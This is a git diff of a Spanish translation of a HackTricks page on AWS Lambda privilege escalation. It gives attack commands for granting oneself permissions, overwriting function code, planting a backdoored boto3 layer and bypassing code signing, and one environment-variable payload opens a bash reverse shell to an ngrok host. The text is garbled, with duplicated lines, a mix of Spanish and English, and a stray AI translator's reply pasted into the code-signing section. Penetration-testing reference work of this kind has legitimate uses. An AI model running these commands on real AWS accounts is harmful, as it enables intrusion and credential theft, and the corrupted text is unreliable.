Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el mapeo de la fuente de eventos** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con streaming habilitado:
|
||||
Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el event source mapping** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con streaming habilitado:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Ahora es posible **conectar la función Lambda a la tabla DynamoDB** mediante **la creación de un mapeo de origen de eventos**:
|
||||
Ahora es posible **connect the Lambda function to the DynamoDB table** mediante **creating an event source mapping**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Con la función Lambda vinculada al flujo de DynamoDB, el atacante puede **activar indirectamente la Lambda al activar el flujo de DynamoDB**. Esto se puede lograr **insertando un elemento** en la tabla de DynamoDB:
|
||||
Con la función Lambda vinculada al DynamoDB stream, el atacante puede **activar indirectamente la Lambda al activar el DynamoDB stream**. Esto se puede lograr **insertando un item** en la tabla de DynamoDB:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio de lambda especificado.
|
||||
**Impacto potencial:** Escalada directa privesc al rol de servicio de lambda especificado.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Un atacante con este permiso puede **otorgarse a sí mismo (o a otros) cualquier permiso** (esto genera políticas basadas en recursos para otorgar acceso al recurso):
|
||||
Un atacante con este permiso puede **concederse a sí mismo (o a otros) cualquier permiso** (esto genera políticas basadas en recursos para otorgar acceso al recurso):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado al otorgar permiso para modificar el código y ejecutarlo.
|
||||
**Impacto potencial:** Direct privesc al rol de servicio de lambda utilizado al otorgar permiso para modificar el código y ejecutarlo.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Un atacante con este permiso puede **otorgarse a sí mismo (o a otros) el permiso `lambda:GetLayerVersion`**. Podría acceder a la capa y buscar vulnerabilidades o información sensible.
|
||||
Un atacante con este permiso puede **otorgarse a sí mismo (o a otros) el permiso `lambda:GetLayerVersion`**. Podría acceder a la layer y buscar vulnerabilidades o información sensible
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Impacto Potencial:** Acceso potencial a información sensible.
|
||||
**Impacto potencial:** Acceso potencial a información sensible.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Los usuarios que tienen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\
|
||||
El atacante puede **modificar el código de la lambda para exfiltrar las credenciales de IAM**.
|
||||
Los usuarios que tengan el permiso **`lambda:UpdateFunctionCode`** tienen la capacidad de **modificar el código de una función Lambda existente que está vinculada a un rol IAM.**\
|
||||
El atacante puede **modificar el código de la lambda para exfiltrar las credenciales IAM**.
|
||||
|
||||
Aunque el atacante puede no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado.
|
||||
Aunque el atacante podría no tener la capacidad directa para invocar la función, si la función Lambda es preexistente y está operativa, es probable que se active mediante flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado.
|
||||
**Impacto potencial:** Escalada de privesc directa al rol de servicio lambda utilizado.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE a través de variables de entorno
|
||||
#### RCE vía variables de entorno
|
||||
|
||||
Con estos permisos es posible agregar variables de entorno que harán que Lambda ejecute código arbitrario. Por ejemplo, en python es posible abusar de las variables de entorno `PYTHONWARNING` y `BROWSER` para hacer que un proceso de python ejecute comandos arbitrarios:
|
||||
Con estos permisos es posible añadir variables de entorno que harán que la Lambda ejecute arbitrary code. Por ejemplo en python es posible abusar de las variables de entorno `PYTHONWARNING` y `BROWSER` para que un proceso python ejecute comandos arbitrarios:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Para otros lenguajes de scripting, hay otras variables de entorno que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en:
|
||||
Para otros lenguajes de scripting hay otras variables de entorno que puedes usar. Para más información revisa las subsecciones de lenguajes de scripting en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE a través de Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** en tu función lambda pero **almacenándolo por separado**, de modo que el código de la función puede permanecer pequeño y **varias funciones pueden compartir código**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** en tu función Lambda pero **almacenarlo por separado**, de modo que el function code puede permanecer pequeño y **varias funciones pueden compartir code**.
|
||||
|
||||
Dentro de lambda, puedes verificar las rutas desde donde se carga el código python con una función como la siguiente:
|
||||
Dentro de Lambda puedes comprobar las rutas desde donde se carga el python code con una función como la siguiente:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
Estos son los lugares:
|
||||
These are the places:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,61 +198,127 @@ Estos son los lugares:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
Por ejemplo, la biblioteca boto3 se carga desde `/var/runtime/boto3` (4ª posición).
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### Explotación
|
||||
|
||||
Es posible abusar del permiso `lambda:UpdateFunctionConfiguration` para **agregar una nueva capa** a una función lambda. Para ejecutar código arbitrario, esta capa necesita contener alguna **biblioteca que la lambda va a importar.** Si puedes leer el código de la lambda, podrías encontrar esto fácilmente, también ten en cuenta que podría ser posible que la lambda **ya esté usando una capa** y podrías **descargar** la capa y **agregar tu código** allí.
|
||||
Es posible abusar del permiso `lambda:UpdateFunctionConfiguration` para **añadir una nueva capa** a una función lambda. Para ejecutar código arbitrario, esta capa necesita contener alguna **biblioteca que la función lambda va a importar.** Si puedes leer el código de la función lambda, podrías encontrar esto fácilmente; también ten en cuenta que podría ser posible que la función lambda **ya esté usando una capa** y que puedas **descargar** la capa y **añadir tu código** allí.
|
||||
|
||||
Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto creará una capa local con la última versión de la biblioteca:
|
||||
Por ejemplo, supongamos que la función lambda está usando la librería boto3, esto creará una capa local con la última versión de la librería:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell inverso, por ejemplo).
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar el backdoor en el código global** (una función para exfiltrate credentials o conseguir un reverse shell, por ejemplo).
|
||||
|
||||
Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de las víctimas, pero es posible que no tengas permisos para esto).\
|
||||
Ten en cuenta que necesitas crear una carpeta python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:**
|
||||
Luego, comprime ese directorio `./lambda_layer` y **sube el nuevo lambda layer** en tu propia cuenta (o en la de la víctima, pero puede que no tengas permisos para esto).\
|
||||
Ten en cuenta que debes crear una carpeta python y colocar las librerías allí para sobrescribir /opt/python/boto3. Además, la layer debe ser **compatible con la versión de python** usada por la lambda y, si la subes a tu cuenta, debe estar en la **misma region:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Ahora, haz que la capa de lambda **sea accesible por cualquier cuenta**:
|
||||
Ahora, haga que la lambda layer subida sea **accesible por cualquier cuenta**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
Y adjunta la capa de lambda a la función lambda de la víctima:
|
||||
Y adjunta la lambda layer a la victim lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
El siguiente paso sería **invocar la función** nosotros mismos si podemos o esperar hasta que **se invoque** por medios normales, que es el método más seguro.
|
||||
El siguiente paso sería o bien **invocar la función** nosotros mismos si podemos o esperar hasta que **se invoque** por medios normales — que es el método más seguro.
|
||||
|
||||
Una **manera más sigilosa de explotar esta vulnerabilidad** se puede encontrar en:
|
||||
Una **forma más sigilosa de explotar esta vulnerabilidad** se puede encontrar en:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado.
|
||||
**Impacto potencial:** Direct privesc al role de servicio de lambda utilizado.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Quizás con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero no pude encontrar una manera de probarlo, ¡así que házmelo saber si lo haces!
|
||||
Quizá con esos permisos puedas crear una function y ejecutarla llamando a la URL... pero pude encontrar una forma de probarlo, ¡avísame si tú lo haces!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Algunas lambdas van a **recibir información sensible de los usuarios en parámetros.** Si obtienes RCE en una de ellas, puedes exfiltrar la información que otros usuarios le están enviando, revísalo en:
|
||||
Algunas lambdas van a estar **recibiendo información sensible de los usuarios en parámetros.** Si consigues RCE en una de ellas, puedes exfiltrar la información que otros usuarios le están enviando; consúltalo en:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
Si una Lambda function exige code signing, un atacante que pueda eliminar la Code Signing Config (CSC) o degradarla a Warn puede desplegar código sin firmar en la function. Esto elude las protecciones de integridad sin modificar el IAM role de la function ni los triggers.
|
||||
|
||||
Permisos (uno de):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notas:
|
||||
- Para Path B, no necesitas un AWS Signer profile si la política de CSC está configurada a `WARN` (se permiten artifacts sin firmar).
|
||||
|
||||
Pasos (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Prepara un pequeño payload:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
def lambda_handler(event, context):
|
||||
return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Ruta A) Eliminar CSC y luego actualizar code:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
|
||||
fi
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Ruta B) Downgrade to Warn y update code (si delete no está permitido):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
|
||||
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
|
||||
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Confirmed. When you provide the file content, I will:
|
||||
|
||||
- Traducir al español todo el texto relevante en inglés.
|
||||
- Conservar exactamente la sintaxis markdown y HTML.
|
||||
- No traducir ni modificar: código, nombres de técnicas, palabras comunes de hacking, nombres de plataformas cloud/SaaS (por ejemplo aws, gcp, Workspace), la palabra "leak", pentesting, enlaces, rutas o tags/refs (p. ej. {#tabs}, {#ref}, paths como lamda-post-exploitation.md).
|
||||
- No añadir contenido extra fuera de la traducción.
|
||||
|
||||
Envíame el contenido y procedo con la traducción.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Impacto potencial: Capacidad para subir y ejecutar código arbitrario sin firmar en una función que se suponía debía imponer despliegues firmados, lo que podría conducir a ejecución de código con los permisos del rol de la función.
|
||||
|
||||
Limpieza:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user